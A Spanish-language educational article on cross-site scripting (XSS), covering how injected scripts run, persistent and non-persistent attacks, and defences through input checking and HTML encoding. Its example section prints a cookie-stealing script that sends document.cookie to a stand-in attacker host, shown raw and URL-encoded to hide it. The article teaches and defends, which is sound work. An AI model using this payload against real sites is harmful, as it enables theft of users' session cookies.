Ataques de secuencia de comandos entre páginas Web (XSS)

Noviembre 2017

Inyección de código malintencionado

Los ataques por secuencias de comandos entre páginas Web (también conocidos como XSS o CSS) son ataques dirigidos a los páginas Web que muestran de forma dinámica el contenido de los usuarios sin verificar ni codificar la información ingresada por ellos. Este tipo de ataque obliga a la página Web a mostrar el código HTML o los comandos ingresados por los usuarios. Por lo tanto, el código incluido (por lo general se usa el término "inyectado") en una página Web vulnerable se considera "malintencionado".

Es común que las páginas Web muestren mensajes informativos directamente mediante el uso de un parámetro introducido por el usuario. El ejemplo más clásico es el de las "páginas de error 404". Algunas páginas Web modifican el comportamiento de la página Web de modo que pueda mostrar un mensaje de error personalizado cuando la página solicitada por el visitante no existe. En ciertas ocasiones, la página generada dinámicamente muestra el nombre de aquella que se solicita. A una página Web con dicho error la llamaremos http://paginaweb.vulnerable. La solicitud de la dirección URL del página Web http://pagina web.vulnerable/paginainexistente correspondiente a una página que no existe genera un mensaje de error que indica que la "página inexistente" no existe. En consecuencia, es posible mostrar cualquier contenido desde el página Web remplazando "página inexistente" por cualquier otra cadena.

De esta forma, si el contenido suministrado por el usuario no se verifica, es posible mostrar un código HTML arbitrario en una página Web para cambiar su apariencia, contenido o comportamiento.

Asimismo, la mayoría de los navegadores tienen la capacidad de interpretar las secuencias de comandos de las páginas Web, incluso en otros lenguajes, como JavaScript, VBScript, Java, ActiveX o Flash. Las siguientes etiquetas HTML permiten incorporar secuencias de comandos ejecutables en una página Web: <SCRIPT>, <OBJECT>, <APPLET> y <EMBED>.

Por lo tanto, un pirata informático puede inyectar un código arbitrario en la página para que se ejecute en el equipo del usuario cuando intenta garantizar la seguridad de la página Web vulnerable. Para ello, sólo debe remplazar el valor del texto que se mostrará con una secuencia de comandos de modo que aparezca en la página Web. Siempre y cuando el navegador del usuario esté configurado para ejecutar dichas secuencias de comandos, el código malintencionado tendrá acceso a todos los datos compartidos por la página Web y el servidor del usuario (cookies, campos de entrada, etc.).

Consecuencias

Gracias a las vulnerabilidades de las secuencias de comandos entre páginas Web, un pirata informático puede usar este método para recuperar datos intercambiados entre el usuario y el página Web al que ingresa. Por ejemplo, el código inyectado en la página se puede usar para engañar al usuario y hacer que ingrese información de autenticación.

Además, la secuencia de comandos inyectada puede redireccionar al usuario a una página Web controlada por el pirata informático, probablemente con la misma interfaz gráfica que la página Web comprometida para engañar al usuario.

En este contexto, la relación de confianza que existía entre el usuario y el página Web se ve afectada por completo.

Persistencia del ataque

Cuando los datos ingresados por el usuario se almacenan en el servidor durante cierto período de tiempo (como en el caso de un foro de discusión, por ejemplo), el ataque se llama "persistente". Todos los usuarios de la página Web tienen acceso a la página donde se ha inyectado el código.

Los ataques denominados "no persistentes" se dirigen a páginas Web dinámicas en las que una variable ingresada por el usuario se muestra como tal (por ejemplo, cuando aparece el nombre de usuario de la página actual o de la palabra ingresada en un campo de entrada). Para aprovechar esta vulnerabilidad, el atacante debe proporcionar a la víctima una dirección URL modificada, transfiriendo el código que se debe ingresar como un parámetro. Sin embargo, debido a que una dirección URL contiene código Javascript y algunos elementos pueden resultarle sospechosos a la víctima, este ataque generalmente se realiza codificando los datos de la dirección URL para que el código inyectado permanezca oculto.

Ejemplo

Supongamos que la página de inicio de CómoFunciona.net es vulnerable a un ataque por secuencia de comandos entre páginas Web ya que en ella puede aparecer un mensaje de bienvenida con el nombre del usuario como un parámetro:

http://es.kioskea.net/?nom=Jeff

Una persona malintencionada podría llevar a cabo un ataque XSS al proporcionar a la víctima una dirección que remplace el nombre "Jeff" con un código HTML. En especial, podría transferir el siguiente código Javascript como un parámetro para redireccionar al usuario a una página controlada por el pirata:

<SCRIPT> document.location='http://site.pirate/cgi-bin/script.cgi?'+document.cookie </SCRIPT>

El código anterior recupera las cookies del usuario y las envía como parámetros a una secuencia de comandos CGI. El siguiente código transferido como un parámetro sería demasiado obvio:

http://es.kioskea.net/?nom=<SCRIPT>document.location ='http://site.pirate/cgi-bin/script.cgi?'+document.cookie</SCRIPT>

No obstante, la codificación de la dirección URL permite ocultar el ataque:

http://es.kioskea.net/?nom=%3c%53%43%52%49%50%54%3e%64%6f%63%75%6d%65% 6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70%3a%2f%2f%73%69%74% 65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73%63%72%69%70%74%2e% 63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f% 53%43%52%49%50%54%3e

Ataque entre páginas Web

En el ejemplo anterior, toda la secuencia de comandos se transfirió como un parámetro URL. El método GET, que permite transferir los parámetros a la dirección URL, se limita a una longitud total de 255 caracteres. Gracias al atributo SRC de la etiqueta <SCRIPT>, es posible ejecutar un código malintencionado almacenado en una secuencia de comandos en un servidor remoto. Como es posible inyectar un código desde una fuente remota, este tipo de ataque se realiza "entre páginas Web".

Protección

Los usuarios pueden protegerse contra los ataques XSS al configurar sus navegadores para impedir que se ejecuten lenguajes de secuencias de comando. En realidad, esto no brinda una solución óptima para el usuario ya que muchas páginas Web no funcionan adecuadamente cuando se prohíbe la ejecución de un código dinámico.

La única solución viable para impedir los ataques por secuencias de comandos entre páginas Web consiste en diseñar páginas Web sin vulnerabilidades. Para ello, el diseñador debe:

  • verificar el formato de los datos ingresados por los usuarios
  • codificar los datos visibles del usuario remplazando los caracteres especiales con sus equivalentes en HTML
El término "sanitización"(sanitation en inglés) hace referencia a todas las acciones que contribuyen a proteger los datos ingresados.

Más información

Consulta también


Cross-Site Scripting attacks
Cross-Site Scripting attacks
Angriffe Cross-Site Scripting
Angriffe Cross-Site Scripting
XSS - Cross-Site Scripting
XSS - Cross-Site Scripting
XSS - Cross-Site Scripting
XSS - Cross-Site Scripting
Ataques Cross-Site Scripting
Ataques Cross-Site Scripting
Última actualización: 16 de octubre de 2008 a las 15:43 por Jeff.
El documento «Ataques de secuencia de comandos entre páginas Web (XSS)» se encuentra disponible bajo una licencia Creative Commons. Puedes copiarlo o modificarlo libremente. No olvides citar a CCM (es.ccm.net) como tu fuente de información.